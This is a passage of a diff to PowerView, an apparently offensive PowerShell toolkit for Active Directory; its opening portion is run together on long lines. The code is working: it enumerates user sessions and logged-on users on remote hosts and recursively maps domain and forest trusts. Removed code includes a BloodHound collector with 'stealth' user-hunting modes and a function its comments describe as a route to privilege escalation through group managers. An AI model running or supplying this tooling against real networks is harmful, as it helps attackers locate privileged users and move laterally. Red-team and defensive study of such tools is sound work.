$Offset += $Increment + $LoggedOn } - $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" - Write-Verbose "DomainDN: $DomainDN" + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } +} - # standard group names to ignore - $ExcludeGroups = @("Users", "Domain Users", "Guests") - # get all the groupnames for the given domain - Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object { - # exclude common large groups - -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { +filter Get-NetSession { +<# + .SYNOPSIS - $GroupName = $_.samAccountName + This function will execute the NetSessionEnum Win32API call to query + a given host for active sessions on the host. + Heavily adapted from dunedinite's post on stackoverflow (see LINK below) - $_.member | ForEach-Object { - # filter for foreign SIDs in the cn field for users in another domain, - # or if the DN doesn't end with the proper DN for the queried domain - if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { + .PARAMETER ComputerName - $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $UserName = $_.split(",")[0].split("=")[1] + The ComputerName to query for active sessions. - $ForeignGroupUser = New-Object PSObject - $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain - $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName - $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName - $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ - $ForeignGroupUser - } - } - } - } + .PARAMETER UserName - if ($Recurse) { - # get all rechable domains in the trust mesh and uniquify them - if($LDAP -or $DomainController) { - $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } - else { - $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } + The user name to filter for active sessions. - ForEach($DomainTrust in $DomainTrusts) { - # get the trust groups for each domain in the trust mesh - Write-Verbose "Enumerating trust groups in domain $DomainTrust" - Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize - } - } - else { - Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize - } -} + .OUTPUTS + SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 + result structure which includes the host and username associated + with active sessions, with the ComputerName added. -function Find-ManagedSecurityGroups { -<# - .SYNOPSIS + .EXAMPLE - This function retrieves all security groups in the domain and identifies ones that - have a manager set. It also determines whether the manager has the ability to add - or remove members from the group. + PS C:\> Get-NetSession - Author: Stuart Morgan (@ukstufus) - License: BSD 3-Clause + Returns active sessions on the local host. .EXAMPLE - PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv + PS C:\> Get-NetSession -ComputerName sqlserver - Store a list of all security groups with managers in group-managers.csv + Returns active sessions on the 'sqlserver' host. - .DESCRIPTION + .EXAMPLE - Authority to manipulate the group membership of AD security groups and distribution groups - can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically - used to delegate management authority to distribution groups, but Windows supports security groups - being managed in the same way. + PS C:\> Get-NetDomainController | Get-NetSession - This function searches for AD groups which have a group manager set, and determines whether that - user can manipulate group membership. This could be a useful method of horizontal privilege - escalation, especially if the manager can manipulate the membership of a privileged group. + Returns active sessions on all domain controllers. .LINK - https://github.com/PowerShellEmpire/Empire/pull/119 - + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> - # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { - - # Retrieve the object that the managedBy DN refers to - $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname - - # Create a results object to store our findings - $results_object = New-Object -TypeName PSObject -Property @{ - 'GroupCN' = $_.cn - 'GroupDN' = $_.distinguishedname - 'ManagerCN' = $group_manager.cn - 'ManagerDN' = $group_manager.distinguishedName - 'ManagerSAN' = $group_manager.samaccountname - 'ManagerType' = '' - 'CanManagerWrite' = $FALSE - } + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', - # Determine whether the manager is a user or a group - if ($group_manager.samaccounttype -eq 0x10000000) { - $results_object.ManagerType = 'Group' - } elseif ($group_manager.samaccounttype -eq 0x30000000) { - $results_object.ManagerType = 'User' - } + [String] + $UserName = '' + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # Find the ACLs that relate to the ability to write to the group - $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 - # Double-check that the manager - if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { - $results_object.CanManagerWrite = $TRUE + # return all the sections of the structure + $Sessions = $Info | Select-Object * + $Sessions | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Sessions } - $results_object + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } -function Invoke-MapDomainTrust { +filter Get-LoggedOnLocal { <# .SYNOPSIS - This function gets all trusts for the current domain, - and tries to get all trusts for each domain it finds. - - .PARAMETER LDAP + This function will query the HKU registry values to retrieve the local + logged on users SID and then attempt and reverse it. + Adapted technique from Sysinternal's PSLoggedOn script. Benefit over + using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges + required (NetWkstaUserEnum requires remote admin access). - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. + Note: This function requires only domain user rights on the + machine you're enumerating, but remote registry must be enabled. - .PARAMETER DomainController + Function: Get-LoggedOnLocal + Author: Matt Kelly, @BreakersAll - Domain controller to reflect LDAP queries through. + .PARAMETER ComputerName - .PARAMETER PageSize + The ComputerName to query for active sessions. - The PageSize to set for the LDAP searcher object. + .EXAMPLE - .PARAMETER Credential + PS C:\> Get-LoggedOnLocal - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + Returns active sessions on the local host. .EXAMPLE - PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv - - Map all reachable domain trusts and output everything to a .csv file. + PS C:\> Get-LoggedOnLocal -ComputerName sqlserver - .LINK + Returns active sessions on the 'sqlserver' host. - http://blog.harmj0y.net/ #> + [CmdletBinding()] param( - [Switch] - $LDAP, - - [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' ) - # keep track of domains seen so we don't hit infinite recursion - $SeenDomains = @{} - - # our domain status tracker - $Domains = New-Object System.Collections.Stack - - # get the current domain and push it onto the stack - $CurrentDomain = (Get-NetDomain -Credential $Credential).Name - $Domains.push($CurrentDomain) - - while($Domains.Count -ne 0) { - - $Domain = $Domains.Pop() - - # if we haven't seen this domain before - if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { - - Write-Verbose "Enumerating trusts for domain '$Domain'" - - # mark it as seen in our list - $Null = $SeenDomains.add($Domain, "") - - try { - # get all the trusts for this domain - if($LDAP -or $DomainController) { - $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential - } - else { - $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential - } - - if($Trusts -isnot [System.Array]) { - $Trusts = @($Trusts) - } - - # get any forest trusts, if they exist - if(-not ($LDAP -or $DomainController) ) { - $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential - } - - if ($Trusts) { - if($Trusts -isnot [System.Array]) { - $Trusts = @($Trusts) - } + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName - # enumerate each trust found - ForEach ($Trust in $Trusts) { - if($Trust.SourceName -and $Trust.TargetName) { - $SourceDomain = $Trust.SourceName - $TargetDomain = $Trust.TargetName - $TrustType = $Trust.TrustType - $TrustDirection = $Trust.TrustDirection - $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1 + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - # make sure we process the target - $Null = $Domains.Push($TargetDomain) + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = Convert-SidToName $_ - # build the nicely-parsable custom output object - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" - $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID - $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" - $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID - $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" - $DomainTrust.PSObject.TypeNames.Add($ObjectType) - $DomainTrust - } - } - } - } - catch { - Write-Verbose "[!] Error: $_" + $Parts = $UserName.Split('\') + $UserDomain = $Null + $UserName = $Parts[-1] + if ($Parts.Length -eq 2) { + $UserDomain = $Parts[0] } + + $LocalLoggedOnUser = New-Object PSObject + $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $LocalLoggedOnUser } } + catch { } } ######################################################## # -# BloodHound specific fuctions. +# Domain trust functions below. # ######################################################## -function Get-BloodHoundData { +function Get-NetDomainTrust { <# .SYNOPSIS - This function automates the collection of the data needed for BloodHound. + Return all domain trusts for the current domain or + a specified domain. - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: PowerView.ps1 - Optional Dependencies: None + .PARAMETER Domain - .DESCRIPTION + The domain whose trusts to enumerate, defaults to the current domain. - This function collects the information needed to populate the BloodHound graph - database. It offers a varity of targeting and collection options. - By default, it will map all domain trusts, enumerate all groups and associated memberships, - enumerate all computers on the domain and execute session/loggedon/local admin enumeration - queries against each. Targeting options are modifiable with -CollectionMethod. The - -SearchForest searches all domains in the forest instead of just the current domain. + .PARAMETER DomainController - .PARAMETER ComputerName + Domain controller to reflect LDAP queries through. - Host array to enumerate, passable on the pipeline. + .PARAMETER ADSpath - .PARAMETER Domain + The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". + Useful for global catalog queries ;) - Domain to query for machines, defaults to the current domain. + .PARAMETER API - .PARAMETER DomainController + Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. - Domain controller to reflect LDAP queries through. + .PARAMETER LDAP - .PARAMETER CollectionMethod + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. - The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'TrustsLDAP', 'Stealth', or 'Default'. - 'TrustsLDAP' uses LDAP enumeration for trusts, while 'Trusts' using .NET methods. - 'Stealth' uses 'Group' collection, stealth user hunting ('Session' on certain servers), 'GPOLocalGroup' enumeration, and LDAP trust enumeration. - 'Default' uses 'Group' collection, regular user hunting with 'Session'/'LoggedOn', 'LocalGroup' enumeration, and 'Trusts' enumeration. + .PARAMETER PageSize - .PARAMETER SearchForest + The PageSize to set for the LDAP searcher object. - Switch. Search all domains in the forest for target users instead of just - a single domain. + .EXAMPLE - .PARAMETER Threads + PS C:\> Get-NetDomainTrust - The maximum concurrent threads to execute. + Return domain trusts for the current domain using built in .NET methods. .EXAMPLE - PS C:\> Get-BloodHoundData | Export-BloodHoundData -URI http://SERVER:7474/ -UserPass "user:pass" + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" - Executes default collection options and exports the data to a BloodHound neo4j RESTful API endpoint. + Return domain trusts for the "prod.testlab.local" domain using .NET methods .EXAMPLE - PS C:\> Get-BloodHoundData | Export-BloodHoundData -URI http://SERVER:7474/ -UserPass "user:pass" -Threads 20 + PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" - Executes default collection options and exports the data to a BloodHound neo4j RESTful API endpoint, - and use 20 threads for collection operations. + Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP + queries, reflecting queries through the "Primary.testlab.local" domain controller, + using .NET methods. .EXAMPLE - PS C:\> Get-BloodHoundData | Export-BloodHoundCSV + PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" - Executes default collection options and exports the data to a CSVs in the current directory. + Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. .EXAMPLE - PS C:\> Get-BloodHoundData -CollectionMethod 'Stealth' | Export-BloodHoundData -URI http://SERVER:7474/ -UserPass "user:pass" + PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local - Executes 'stealth' collection options and exports the data to a BloodHound neo4j RESTful API endpoint. - This includes 'stealth' user hunting and GPO object correlation for local admin membership. - This is significantly faster but the information is not as complete as the default options. + Return domain trusts reachable from the WINDOWS2 machine through API calls. #> - [CmdletBinding(DefaultParameterSetName = 'None')] + [CmdletBinding()] param( [Parameter(Position=0, ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - [String] $Domain, @@ -13351,296 +4095,356 @@ function Get-BloodHoundData { $DomainController, [String] - [ValidateSet('Group', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Trusts', 'TrustsLDAP', 'Default')] - $CollectionMethod = 'Default', + $ADSpath, [Switch] - $SearchForest, + $API, + + [Switch] + $LDAP, - [ValidateRange(1,100)] + [ValidateRange(1,10000)] [Int] - $Threads + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - - Switch ($CollectionMethod) { - 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True } - 'LocalGroup' { $UseLocalGroup = $True } - 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True } - 'Session' { $UseSession = $True } - 'LoggedOn' { $UseLoggedOn = $True } - 'TrustsLDAP' { $UseDomainTrustsLDAP = $True; $SkipComputerEnumeration = $True } - 'Trusts' { $UseDomainTrusts = $True; $SkipComputerEnumeration = $True } - 'Stealth' { - $UseGroup = $True - $UseGPOGroup = $True - $UseSession = $True - $UseDomainTrustsLDAP = $True - } - 'Default' { - $UseGroup = $True - $UseLocalGroup = $True - $UseSession = $True - $UseLoggedOn = $True - $UseDomainTrusts = $True - } + $TrustAttributes = @{ + [uint32]'0x00000001' = 'non_transitive' + [uint32]'0x00000002' = 'uplevel_only' + [uint32]'0x00000004' = 'quarantined_domain' + [uint32]'0x00000008' = 'forest_transitive' + [uint32]'0x00000010' = 'cross_organization' + [uint32]'0x00000020' = 'within_forest' + [uint32]'0x00000040' = 'treat_as_external' + [uint32]'0x00000080' = 'trust_uses_rc4_encryption' + [uint32]'0x00000100' = 'trust_uses_aes_keys' + [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' + [uint32]'0x00000400' = 'pim_trust' } + } - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + process { + + if(-not $Domain) { + # if not domain is specified grab the current domain + $SourceDomain = (Get-NetDomain -Credential $Credential).Name } else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $SourceDomain = $Domain } - if($UseGroup) { - ForEach ($TargetDomain in $TargetDomains) { - # enumerate all groups and all members of each group - Get-NetGroup -Domain $TargetDomain -DomainController $DomainController | Get-NetGroupMember -Domain $TargetDomain -DomainController $DomainController + if($LDAP -or $ADSPath) { - # enumerate all user objects so we can extract out the primary group for each - # Get-NetUser -Domain $Domain -DomainController $DomainController - $DomainSID = Get-DomainSID -Domain $TargetDomain -DomainController $DomainController - $UserSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController - $UserSearcher.filter = '(samAccountType=805306368)' - $UserSearcher.PropertiesToLoad.AddRange(('samaccountname','primarygroupid')) - $PrimaryGroups = @{} + $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath - ForEach($UserResult in $UserSearcher.FindAll()) { - $User = Convert-LDAPProperty -Properties $UserResult.Properties - $User | Add-Member NoteProperty 'Domain' $TargetDomain + $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController - $PrimaryGroupSID = "$DomainSID-$($User.primarygroupid)" + if($TrustSearcher) { - if($PrimaryGroups[$PrimaryGroupSID]) { - $PrimaryGroupName = $PrimaryGroups[$PrimaryGroupSID] - } - else { - $PrimaryGroupName = Get-ADObject -Domain $Domain -SID $PrimaryGroupSID | Select-Object -ExpandProperty samaccountname - $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName - } + $TrustSearcher.Filter = '(objectClass=trustedDomain)' - $User | Add-Member NoteProperty 'PrimaryGroupName' $PrimaryGroupName - $User.PSObject.TypeNames.Add('PowerView.User') - $User - } + $Results = $TrustSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } - $UserSearcher.Dispose() + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID + $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP') + $DomainTrust + } + $Results.dispose() + $TrustSearcher.dispose() } } + elseif($API) { + if(-not $DomainController) { + $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name + } - if($UseDomainTrusts) { - Invoke-MapDomainTrust - } + if($DomainController) { + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero - if($UseDomainTrustsLDAP) { - Invoke-MapDomainTrust -LDAP -DomainController $DomainController - } + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 - if (-not $SkipComputerEnumeration) { - if(-not $ComputerName) { - [Array]$TargetComputers = @() + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) - ForEach ($Domain2 in $TargetDomains) { - if($CollectionMethod -eq 'Stealth') { - Write-Verbose "Querying domain $Domain2 for File Servers..." - $TargetComputers += Get-NetFileServer -Domain $Domain2 -DomainController $DomainController + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - Write-Verbose "Querying domain $Domain2 for DFS Servers..." - $TargetComputers += Get-DFSshare -Domain $Domain2 -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - Write-Verbose "Querying domain $Domain2 for Domain Controllers..." - $TargetComputers += Get-NetDomainController -LDAP -Domain $Domain2 -DomainController $DomainController | ForEach-Object { $_.dnshostname} - } - else { - Write-Verbose "Querying domain $Domain2 for hosts" + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() - $TargetComputers += Get-NetComputer -Domain $Domain2 -DomainController $DomainController - } + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($UseGPOGroup) { - Write-Verbose "Enumerating GPO local group memberships for domain $Domain2" - Find-GPOLocation -Domain $Domain2 -DomainController $DomainController - - # add in a local administrator relationship for "Domain Admins" -> every machine - $DomainSID = Get-DomainSID -Domain $Domain2 -DomainController $DomainController - $DomainAdminsSid = "$DomainSID-512" - $Temp = Convert-SidToName -SID $DomainAdminsSid - $DomainAdminsName = $Temp.Split('\')[1] - - Get-NetComputer -Domain $Domain2 -DomainController $DomainController | ForEach-Object { - $LocalUser = New-Object PSObject - $LocalUser | Add-Member Noteproperty 'MemberName' $DomainAdminsName - $LocalUser | Add-Member Noteproperty 'MemberDomain' $Domain2 - $LocalUser | Add-Member Noteproperty 'IsGroup' $True - $LocalUser | Add-Member Noteproperty 'ComputerName' $_ - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserSpecified') - $LocalUser + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController + $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString + $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') + $DomainTrust } } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - - # remove any null target hosts, uniquify the list and shuffle it - $TargetComputers = $TargetComputers | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($TargetComputers.Count) -eq 0) { - Write-Warning "No hosts found!" + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { - $TargetComputers = $ComputerName + Write-Verbose "Could not retrieve domain controller for $Domain" + } + } + else { + # if we're using direct domain connections through .NET + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential + if($FoundDomain) { + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.DomainTrust') + $_ + } + } + } + } +} + + +function Get-NetForestTrust { +<# + .SYNOPSIS + + Return all trusts for the current forest. + + .PARAMETER Forest + + Return trusts for the specified forest. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetForestTrust + + Return current forest trusts. + + .EXAMPLE + + PS C:\> Get-NetForestTrust -Forest "test" + + Return trusts for the "test" forest. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Forest, + + [Management.Automation.PSCredential] + $Credential + ) + + process { + $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + + if($FoundForest) { + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.ForestTrust') + $_ } } + } +} + + +function Invoke-MapDomainTrust { +<# + .SYNOPSIS + + This function gets all trusts for the current domain, + and tries to get all trusts for each domain it finds. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv - # get the current user so we can ignore it in the results - $CurrentUser = ([Environment]::UserName).toLower() + Map all reachable domain trusts and output everything to a .csv file. - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2) + .LINK - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { + http://blog.harmj0y.net/ +#> + [CmdletBinding()] + param( + [Switch] + $LDAP, - if($UseLocalGroup2) { - # grab the users for the local admins on this server - Get-NetLocalGroup -ComputerName $ComputerName -API | Where-Object {$_.IsDomain} - } + [String] + $DomainController, - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, - if($UseSession2) { - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname + [Management.Automation.PSCredential] + $Credential + ) - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { + # our domain status tracker + $Domains = New-Object System.Collections.Stack - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $Null - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + # get the current domain and push it onto the stack + $CurrentDomain = (Get-NetDomain -Credential $Credential).Name + $Domains.push($CurrentDomain) - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - } - catch { - $CNameDNSName = $CName - } - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CNameDNSName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } - } - } + while($Domains.Count -ne 0) { - if($UseLoggedon2) { - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName - ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - $UserDomain = $User.wkui1_logon_domain + $Domain = $Domains.Pop() - # ignore local account logons - # TODO: better way to determine if network logon or not - if($ComputerName -notmatch "^$UserDomain") { - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - 